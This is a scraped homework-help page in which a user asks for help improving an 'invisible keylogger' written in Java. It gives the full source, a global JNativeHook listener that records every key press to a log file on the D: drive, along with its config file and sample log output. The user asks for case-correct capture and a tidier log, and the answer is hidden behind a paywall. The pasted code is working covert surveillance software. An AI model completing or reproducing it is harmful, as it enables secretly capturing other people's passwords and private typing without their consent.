Answered step by step
Verified Expert Solution
Link Copied!

Question

1 Approved Answer

I am making a invisible kelogger using Java programming langauge . Most of the part of that program completed but having trouble. This capture all

I am making a invisible kelogger using Java programming langauge. Most of the part of that program completed but having trouble. This capture all necessary strokes and store into specific drive.

Issues:

1) Capture strokes are upper case automatically i hit the key without shift and caps lock but log file contains all are the upper case. Resolve this problem. if we press lower case letter than save only lower case if i type upper case than store upper case letter.

2) log.txt file format is very bad. For example i type "Hello world!" but in the notepad log file contains:

image text in transcribed

Change this format to: Hello space world

with out lot of enters and native key pressed etc.

SOURCE CODE:

File 1 (KeyLogger.java)===============================================================

import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Properties; import java.util.logging.FileHandler; import java.util.logging.Logger; import java.util.logging.SimpleFormatter; import org.jnativehook.GlobalScreen; import org.jnativehook.NativeHookException; import org.jnativehook.keyboard.NativeKeyEvent; import org.jnativehook.keyboard.NativeKeyListener;

/** * * Logs keystrokes in a log file. * * @author Abhishek * */ public class KeyLogger implements NativeKeyListener {

String configFilePath = null;

Logger logger = null;

FileHandler fileHandler = null;

SimpleFormatter simpleFormatter = null;

InputStream inputStream = null;

Properties properties = null;

Path currentRelativePath = null;

/** * * The constructor. * * @throws IOException * */

public KeyLogger() throws IOException {

logger = Logger.getLogger("Key Log");

currentRelativePath = Paths.get("");

inputStream = new FileInputStream("C:\\Users\\SHIVA\\Documents\\NetBeansProjects\\Keylogger\\src\\config.properties");

properties = new Properties();

properties.load(inputStream);

configFilePath = properties.getProperty("FilePath");

fileHandler = new FileHandler(configFilePath);

logger.addHandler(fileHandler);

simpleFormatter = new SimpleFormatter();

fileHandler.setFormatter(simpleFormatter);

}

/** * * Overridden method to capture the pressed keys. * */

public void nativeKeyPressed(NativeKeyEvent nativeKeyEvent) {

logger.info("Key pressed: " + NativeKeyEvent.getKeyText(nativeKeyEvent.getKeyCode()));

}

/** * * Overridden method to capture released keys. * */

public void nativeKeyReleased(NativeKeyEvent nativeKeyEvent) {

}

/** * * Overridden method to capture the typed keys. * */

public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {

}

/** * * The main method. * * @param arguments - Command-line arguments * * @throws IOException * * @throws NativeHookException * */

public static void main(String arguments[]) throws IOException, NativeHookException {

GlobalScreen.registerNativeHook();

GlobalScreen.addNativeKeyListener(new KeyLogger());

}

}

================================================================================

File 2(config.propertise)==============================================================

FilePath=D:\\Log.txt

Log.tbt - Notepad File Edit Format View Help Jun 11, 2018 3:44:13 PM KeyLogger nativeKeyPressed INFO: Key pressed: H Jun 11, 2018 3:44:13 PM KeyLogger nativeKeyPressed INFO: Key pressed: E Jun 11, 2018 3:44:13 PM KeyLogger nativeKeyPressed INFO: Key pressed L Jun 11, 2018 3:44:13 PM KeyLogger nativeKeyPressed INFO: Key pressed L Jun 11, 2018 3:44:13 PM KeyLogger nativeKeyPressed INFO: Key pressed: O Jun 11, 2018 3:44:14 PM KeyLogger nativeKeyPressed INFO: Key pressed: Space Jun 11, 2018 3:44:14 PM KeyLogger nativeKeyPressed INFO: Key pressed: W Jun 11, 2018 3:44:14 PM KeyLogger nativeKeyPressed INFO: Key pressed: O Jun 11, 2018 3:44:14 PM KeyLogger nativeKeyPressed

Step by Step Solution

There are 3 Steps involved in it

Step: 1

blur-text-image

Get Instant Access to Expert-Tailored Solutions

See step-by-step solutions with expert insights and AI powered tools for academic success

Step: 2

blur-text-image

Step: 3

blur-text-image

Ace Your Homework with AI

Get the answers you need in no time with our AI-driven, step-by-step assistance

Get Started

Recommended Textbook for

Practical Issues In Database Management A Refernce For The Thinking Practitioner

Authors: Fabian Pascal

1st Edition

0201485559, 978-0201485554

More Books

Students also viewed these Databases questions